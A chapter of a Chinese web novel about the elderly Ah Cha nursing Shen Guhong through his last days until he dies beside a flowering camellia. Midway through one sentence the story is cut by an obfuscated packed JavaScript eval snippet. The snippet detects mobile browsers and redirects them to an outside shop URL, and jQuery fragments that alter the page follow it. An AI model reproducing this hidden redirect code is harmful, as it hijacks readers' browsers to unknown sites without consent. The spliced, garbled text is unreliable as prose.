阿茶记不清日子了，她一刻都不敢停下来。


    晨炊暮煮，煎药喂药，换帕擦身，灶上的火就没敢灭过，井里的水也得勤打，仿佛一停，那点攥着的念想就散了。


    刘大夫来了两回，头一回把过脉，只沉着眼开了方子，半句多余的话也没有。


    第二回来时，他的指尖搭在沈孤鸿腕上许久，接连叹气。然后，他偷偷把阿茶拉到院角，声音压得极低：“想吃什么就给他做点吧，人这一辈子……哎……总是无常……”


    那声叹息，凉飕飕的，直直地钻到阿茶骨头缝里，让她止不住地哆嗦起来。


    沈孤鸿烧了又退，退了又烧，反反复复折腾了数日。清醒的时候少，昏睡的时候多。


    醒着的时候，他总是定定地看着阿茶，过一会儿，眼皮重了，便又沉沉睡去。


    昏睡时，他总说胡话，一会儿低唤“阿茶”，一会儿喊“师父”，有时还说“别追了，跑不动了”……字字句句，都揪着阿茶的心。


    阿茶始终守在床边，一刻不松地握着他的手。那只手总烫着，阿茶此时，反倒有些感激这烫手的温度。假使……假使没有温度了……阿茶不敢再想下去。


    小花也不往外跑了，日日蜷在屋里，要么蹲在床脚，要么伏在窗台上，安安静静看着床上的人。


    夜里阿茶起来添水煎药，它就跟着起身，不吵也不闹。


    有一回，阿茶熬药时分了神，火候没看好，滚烫的药汁扑出来，浇在灶台上滋滋作响，她手忙脚乱去端药罐，指尖被烫得通红。小花走过来，用软乎乎的脑袋蹭了蹭她的腿。


    阿茶哑着嗓子问它：“阿花，你说他会不会好？”


    小花又蹭了蹭她的手，轻轻“喵”了一声，那声音细细软软的，像在说“会的”。


    阿茶吸了吸鼻子，站起身，重新添药加水，生上火，守着那罐药，直到天蒙蒙亮。


    一天下午，沈孤鸿忽然醒了。


    他睁开眼睛，看着阿茶，嘴角动了动，可那笑意还没成形，就化作一阵剧烈的咳嗽。


    阿茶赶紧伸手把他扶起来，垫上软枕让他靠着，又端过温水，一勺一勺喂他喝。


    喂他喝完水，阿茶把碗搁在床头的小凳上，又坐回床边，指尖下意识想去探他的额头。还没碰到，就被他攥住了手。


    沈孤鸿看着她，忽然说：“阿茶，你瘦了。”


    阿茶别开脸，不敢看他，只是反手握住他的手。那手还是烫得厉害。


    沈孤鸿轻轻拍着她的手背：“阿茶，你别太累。”


    阿茶低声道：“不累。”


    他看着她，眼眶红了，声音也发颤：“骗人。”


    阿茶便再也说不出话，任由眼泪喷涌而出。


    窗外的光斜斜洒进来，把沈孤鸿的脸衬得愈发单薄。


    他又说：“阿茶，我想出去坐坐。”


    阿茶蹙眉：“你还发着烧呢。”


    他却执意道：“就坐一会儿，看看那株山茶。”


    阿茶看着他眼里的期盼，终究不忍心拒绝，于是扶着他慢慢坐起身，一件一件给他穿好衣裳。


    他的身子轻得可怕，隔着衣裳都能摸到嶙峋的骨头，阿茶的手轻轻抖着，却不敢让他察觉。


    她扶着他，一步一步挪到院子里，每走一步，他都微微喘气。


    阿茶便走得更慢，稳稳地托着他的胳膊。


    春日的阳光正好，暖融融洒在那株山茶树苗上，枝头的花苞比前些日子又大了些，好几朵已经悄悄绽开，红红的花瓣舒展开来，在风里轻轻颤着。


    沈孤鸿在树前的摇椅上坐下，眯着眼睛看那些花。


    阿茶挨着他坐下，轻轻替他拢了拢衣襟。小花也跑了过来。


    沈孤鸿低头看着膝头的猫，伸出手慢慢摸了摸它的头。


    小花眯起眼睛，蹭了蹭他的掌心。


    风把一片花瓣吹下来，落在沈孤鸿的膝上。


    他看着那片薄薄的红，低声道：“阿茶。”


    “嗯。”


    “我要是……”他顿住了，喉结动了动，把那几个字咽回去，改了口，“往后天凉的时候，你要记得多穿点。”


    阿茶的手抖了一下。


    “嗯……”她声音压得很低。


    沈孤鸿握着她的手，那只手烫得厉害，可阿茶觉得那热正一点一点往她骨头缝里钻。她想让他别说了，可张了张嘴，一个字也出不来。


    “药在灶台边上那个柜子里，第二层。”他又开口，“刘大夫开的那个方子，你留着。换季的时候，你自己也抓两副吃吃。你那老寒腿，一入秋就疼。”


    阿茶的眼泪开始往下掉，一滴一滴，砸在两人交握的手上。


    “小花你别老惯着它，给它吃太多了走不动道。”他说着说着，自己倒笑了一下。


    “你别说了……”阿茶终于出声，嗓子像是被砂纸磨过。


    沈孤鸿转过头看着她，“阿茶，我这辈子，最对不住的人就是你。”


    阿茶拼命摇头，满脸是泪。


    “你让我说完。”他抬起手，缓缓地帮她拭去脸上的泪水，“那时候我走了，把你一个人扔下。现在回来，也没陪你几天，就又要走。”


    “那你就别走。”阿茶攥着他的手，“沈孤鸿，我求你了，你别走。”


    沈孤鸿的眼眶红了。他看着阿茶，想起她十几岁的时候，满头青丝，每天没日没夜地在山里练剑，总是练得满头大汗。笑起来，明眸皓齿、温婉动人。


    那是多少年前的事了？


    “阿茶，”他的声音发颤，“你下辈子还等我吗？”


    阿茶哭得说不出话，只能拼命点头。


    沈孤鸿笑了，拿起她的手，贴在自己脸上。


    “那说好了。”他说，“下辈子，我哪儿也不去。你练剑，我就在边上看。你低头，我就给你摘花。咱俩从十几岁就成亲，生一大堆孩子。”


    阿茶把脸靠在他肩头，呜呜地哭起来。


    风又吹过，山茶花的花瓣落下来，落在沈孤鸿的肩上。


    “阿茶，我这辈子，最对不住的人就是你。”他的声音忽然沉了下来，“当年我不该走，就算要走，也该带你一起走，就算死，也该死在一起。可我走了，把你一个人扔下，让你等了三十三年，等白了头，等凉了岁月。”


    他的声音开始发抖，指尖攥着阿茶的手，越来越紧，“阿茶，真的对不住。”


    阿茶的眼泪又落了下来，砸在两人交握的手上。


    他伸出手，用指腹替她擦去眼泪，那手指滚烫，可触在她脸上，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17397044|199471||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却让她觉得凉。


    “下辈子，我们说好了。你去哪儿，我去哪儿，你活多久，我陪多久，再也不分开。我们，都要记得。”


    阿茶看着他，含泪点头：“好。”


    他便笑了，笑得像个孩子，眉眼间的温柔，揉碎了春日的阳光。


    太阳慢慢往西移，从他脸上挪开，落在那株山茶树上，红红的花瓣在阳光里愈发鲜亮，亮得有些刺眼。他忽然轻轻说：“阿茶，我有点累了。”


    阿茶扶着他的胳膊：“我扶你回去歇着。”


    他却摇摇头：“再坐一会儿，陪陪你。”


    阿茶便点点头，握着他的手，更紧了些。


    阳光正好，山茶犹盛，少年往事历历在目，只是他们都知道，这样的岁月静好只是一瞬，往后再无来日方长。


    两人静静地坐着，小花蜷在沈孤鸿的膝上。


    过了很久，他又开口，声音轻得像一缕风，“阿茶。”


    “嗯？”


    “那株山茶树，开花的时候，记得告诉我一声。”


    阿茶忍着泪，点头：“好。”


    “我在那边看着，能看见的。”他又说。


    “好…… ”阿茶的声音已近哽咽。


    话音方落，他便笑了，嘴角挂着浅浅的笑意，慢慢闭上眼睛。


    小花抬起头，看了他一眼。


    阿茶就那么坐着，依旧握着他的手。


    她不敢动，怕一动，手里那点温温的热，就彻底散了。


    太阳渐渐沉下去，光从金黄变成橘红，又从橘红变成灰蓝。


    后来，风渐渐凉了，吹得阿茶的肩膀发冷，可她还是没动，只是攥着他的手，一动不动地看着他的侧脸。


    月亮慢慢升起来，清辉洒下。夜已经很深了。


    阿茶感觉到了，那只攥着她的手，也已经一点点凉了下去。


    阿茶低下头，把脸贴在那只手上，已是半点温度都没有了。


    晨雾渐渐漫上来，沾湿了她的头发和衣裳。


    小花从沈孤鸿的膝上跳下来，走到阿茶身边，用脑袋一下一下蹭着她的腿。


    阿茶抬起头，月亮还挂在树梢，冷冷的，远远的。


    天边的晨光驱散了夜色，一点点亮起来。


    风吹过来，山茶的枝叶沙沙作响。


    她看着他，想起他最后说的那句话：“我在那边看着，能看见。”


    她轻轻开口，声音沙哑得几乎听不见：“沈孤鸿，你在看吗？”


    阿茶慢慢走回屋里，小花跟在她身后，亦步亦趋。


    过了一会儿，她抱出来了一床被子，轻轻盖在沈孤鸿的身上。


    这辈子是他们大婚那天盖的，红得像火，衬得他的脸愈发苍白。


    窗外的天彻底亮了，院外依稀传来了街坊邻居们的声响。


    听到有人敲门。


    阿茶站起来，走到门口。推开门时，她看见小芸正站在院外，那丫头不知什么时候来的，满脸都是泪，眼睛肿得像核桃。


    看见阿茶出来，小芸立刻跑过来，扑进她怀里，“婆婆……”


    阿茶抱着她，拍着她的背，眼泪无声落了下来。


    小花蹲在旁边，仰着头看着她们，绿莹莹的眼睛里，像是也蒙了一层雾。